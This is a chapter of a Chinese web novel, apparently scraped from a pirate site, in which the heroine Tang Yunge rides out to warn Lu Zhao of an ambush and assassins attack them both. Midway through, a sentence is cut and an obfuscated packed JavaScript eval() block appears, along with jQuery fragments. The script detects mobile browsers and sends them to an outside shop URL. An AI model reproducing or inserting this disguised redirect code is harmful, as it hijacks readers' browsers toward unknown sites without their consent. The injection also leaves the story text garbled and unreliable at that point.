翌日清晨,雪后的京城银装素裹。


    唐云歌起了个大早,心情颇好。


    昨夜与陆昭确立了“朋友”的关系,让她心头一块大石落地。


    既是朋友,礼尚往来便是应当。


    她打开自己的百宝箱,从最底层取出一个紫檀木匣。


    匣中静静躺着一方紫云砚。这是外祖父留下的遗物,砚身色泽紫润,呵气成墨,乃是当世难寻的珍品。


    陆昭字写得极好,又日夜操劳,这方砚台送他,最是合宜。


    “夏云,”唐云歌唤来丫鬟,嘴角噙着笑,“帮我把这砚台包起来,咱们去听竹轩。”


    唐云歌穿过回廊,脚踩在松软的雪地上,发出“咯吱咯吱”的轻响。


    然而,到了听竹轩,却扑了个空。


    院门虚掩,屋内空无一人,只有桌案上的一杯茶还冒着袅袅余热。


    “唐姑娘?”


    青松正抱着一摞书从后院走出来,见到唐云歌,神色微微一变,下意识地就要往回缩。


    唐云歌敏锐地察觉到了他的异常,直接堵住了他的去路:“青松,先生呢?这么早便出去了?”


    “是啊,”青松眼神闪烁,支支吾吾地说,“主子去访友了,对,访友去了。”


    “访友?”唐云歌眉头轻蹙。


    陆昭在京中并无旧友,且桌案上的笔墨未干,显然走得极匆忙。


    更重要的是,青松是个老实人,一撒谎就会摸鼻子。


    此刻,他的手正尴尬地停在鼻尖上。


    “青松,”唐云歌声音沉了几分,透着一股不容置疑的威严,“这事事关重大,你老实告诉我,先生到底去哪了?”


    青松面露难色。


    他在陆昭身边待久了,知道先生对这位唐姑娘的不同,先生千叮咛万嘱咐不能告诉别人。


    可看着唐姑娘那洞若观火的眼神,他又实在瞒不下去。


    唐姑娘应该不算别人?


    青松一咬牙,低声道:“唐姑娘,实不相瞒,先生去京郊码头了,带着文柏刚走不久。”


    京郊码头!


    这四个字如同一道惊雷,在唐云歌脑海中轰然炸响。


    她记得这段剧情!


    原书中,陆昭为了寻找证人前往京郊码头。


    然而那里根本没有什么证人,而是敌人布下的必死杀局。


    码头的必经之路上埋伏了数百名弩手,货仓早已被浇透了火油,只待一声令下便会化为火海。


    那一场厮杀惨烈至极。


    虽然陆昭最终活了下来,却受了极重的内伤,甚至一度咳血昏迷,后来落下终身难愈的病根。


    “今天是冬月初二?”唐云歌声音都有些颤抖。


    “是的,姑娘。”


    正是书中记载的那个日子!


    “先生他去了多久了?”


    “约莫半个时辰了,骑快马去的。”


    半个时辰,若是快马加鞭,或许还能在他们进入包围圈之前拦住!


    唐云歌顾不上什么大家闺秀的仪态,转身就往外跑:“青松,备马!带我去!”


    “姑娘,这使不得啊!”


    “若是先生有半分差池,我第一个问罪于你!”唐云歌回头厉喝。


    一刻钟后。


    一匹枣红色的骏马从靖安侯府的侧门疾驰而出,马蹄卷起千堆雪。


    唐云歌伏在马背上,迎着凛冽的寒风,向着城外的方向狂奔而去。


    风雪如刀,割在脸上生疼。


    她的骑术算不上精湛,此刻却不管不顾地狠夹马腹,她满脑子都是书中陆昭浑身是血,倒在雪地里的画面。


    “驾!再快点!”她死死勒着缰绳,指节因为用力而泛白。


    既然她来了,既然他们已经是朋友,她就绝不能眼睁睁看着他重蹈覆辙!


    *


    通往京郊码头的官道上,寒风呼啸。


    陆昭一袭玄衣,纵马疾驰,身旁跟着一名黑衣劲装的侍卫,正是文柏。


    情报上说,当年父亲那桩冤案的关键证人今日会在此处现身。


    虽然陆昭猜到这可能是陷阱,但他不得不来。


    哪怕只有万分之一的可能,他也要抓住。


    就在这时,身后传来一阵急促的马蹄声。


    陆昭眉头一皱,手掌下意识地按在了腰间的软剑之上。


    谁会追来?


    “先生——!”


    一声清脆却略带颤抖的呼喊穿破风雪而来。


    陆昭瞳孔骤然收缩,猛地勒住缰绳,急切地回首望去。


    只见一抹鲜艳的红色身影闯入视线,唐云歌正策马狂奔而来。


    “吁——”


    唐云歌勒住马,动作急切得差点摔倒。


    她顾不得整理凌乱的发丝,气喘吁吁地驱马靠近陆昭。


    “唐姑娘?”


    此刻她发丝凌乱地贴在脸颊,嘴唇冻得发紫,身上的红衣沾了不少雪沫,狼狈得让人心惊。


    陆昭心中涌起一股难以言喻的复杂情绪,有震惊,有愤怒,更有深不见底的心疼,连呼吸都变得酸涩。


    “胡闹!”陆昭厉声呵斥。


    这是他第一次对她用如此严厉的语气:“你跑来做什么?”


    “青松是不要命了吗,竟敢带唐姑娘来这种地方!”


    唐云歌被他吼得瑟缩了一下,但眼神却异常坚定。


    “我知道这里危险!正因为危险,我才要来!”


    陆昭翻身下马,唐云歌也跟着他下马。


    她从怀里掏出那件金光闪闪的软猬甲,不由分说地往陆昭怀里塞:“前面有埋伏,不能再去码头了!先生,把这个穿上!”


    陆昭看着她手中的软猬甲,那是他之前为了护她周全送给她的,没想到她竟在这个时候送了回来。


    “我不需要。”陆昭想也没想就推了回去,“你立刻上马,回府去。”


    “我不走!”唐云歌急了,眼眶微红,“先生说过我们是朋友。朋友有难,我岂能袖手旁观?”


    “你……”陆昭气结。


    就在两人争执之时,四周的树林中突然惊起一群飞鸟。


    陆昭脸色骤变,他瞬间嗅到了杀气。


    “糟糕!”


    话音未落,一阵机括声响起。


    无数支黑色的羽箭从道路两旁的密林中射出,如同密集的雨点般袭来。


    “小心!”


    陆昭手中长剑瞬间出鞘,挥出一片剑幕,将射向唐云歌的箭矢尽数击落。


    “青松、文柏!”陆昭大喝一声,“你们二人兵分两路,截住两翼的弓弩手!别让他们合围!”


    “先生,那你……”


    “执行命令!”


    “是!”青松和文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931783|192621||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柏对视一眼,虽然担忧,但也知道此刻唯有分散火力才有一线生机。


    两人分别向左右两侧的密林杀去,引开了大批伏兵。


    “上马!”


    陆昭一把抓住唐云歌的手臂,将她拉到了自己的马上,圈在怀里:“握紧了,我们走小路!”


    此时大路已被封死,唯有旁边一条通往深山的幽僻小径尚有一线生机。


    陆昭一夹马腹,骏马嘶鸣一声,载着两人冲进了幽深的小道。


    小道狭窄崎岖,两侧古木参天,遮蔽了天光。


    陆昭一手勒着缰绳,一手持剑,神色冷峻如冰。


    唐云歌紧紧环着他劲瘦的腰身,脸贴在他温热的后背上,能清晰地听到他沉稳有力的心跳声。


    然而,杀手来得比预想的还要快。


    “咻——!”


    一支冷箭刁钻地射中了马腿。


    马吃痛嘶鸣一声,前蹄跪倒,巨大的惯性将两人甩了出去。


    “小心!”


    在落地的瞬间,陆昭在空中强行扭转身形,将唐云歌死死护在怀里。


    陆昭后背着地,在雪地上滚了好几圈才停下。


    还没等两人站稳,十几名黑衣蒙面的杀手不知从哪里冒出来,手中的兵刃泛着森冷的寒光,招招狠辣,直取陆昭要害。


    “躲好!闭上眼睛。”


    陆昭将唐云歌推到一棵需三人合抱的古树后,随后反身迎上。


    唐云歌躲在树后,紧紧捂着嘴巴,强压着内心的恐惧和闻到血腥味后的反胃,不敢发出一点声音,只能死死咬着下唇,透过枝桠的缝隙往外看。


    她要看着他,确认他没事。


    刀光剑影,险象环生。


    她看到陆昭身形如鬼魅般穿梭在刀光中,每一剑挥出,必有一人倒下。


    平日里那个温润如玉的先生消失了,取而代之的是一个杀伐果断的修罗。


    他的剑极快,每一剑挥出,必带起一片血花,内力激荡,震得周围树上的积雪簌簌落下。


    然而杀手们并未退缩,反而因为同伴的倒下更加穷凶极恶。


    厮杀到最后,只剩下三个杀手和陆昭。


    他们发现了陆昭的软肋,正是那个躲在树后的少女。


    一名杀手趁着陆昭被两人缠住之际,竟虚晃一招,转身向树后的唐云歌袭来!


    “抓那个女的!”


    一声暴喝响起,唐云歌浑身的血液瞬间凝固。


    视线中,一名杀手竟硬生生受了陆昭一掌,借着力道虚晃一招,狰狞的脸孔猛然在她的瞳孔中放大。


    那锋利的剑带着死亡的寒气,直逼她的面门!


    唐云歌惊恐地闭上眼睛,浑身僵硬如石,甚至连尖叫都卡在了喉咙里。


    “云歌!”


    陆昭瞳孔骤缩,心脏在那一瞬间几乎停跳。


    在那电光火石的一瞬间,他竟然完全放弃了背后的防御,任由另一名刺客的长剑刺向他的后心,整个人朝唐云歌扑来。


    “叮!”


    长剑刺中陆昭的软猬甲,身后那必杀的一剑刺破了他的外衫,却被里面那件金丝软猬甲挡住。


    那巨大的冲击力还是撞得陆昭身形一晃,面色瞬间变得惨白。


    可他甚至连头都没有回一下。


    在那把剑即将触碰到唐云歌之前,将手臂猛地横在了她面前。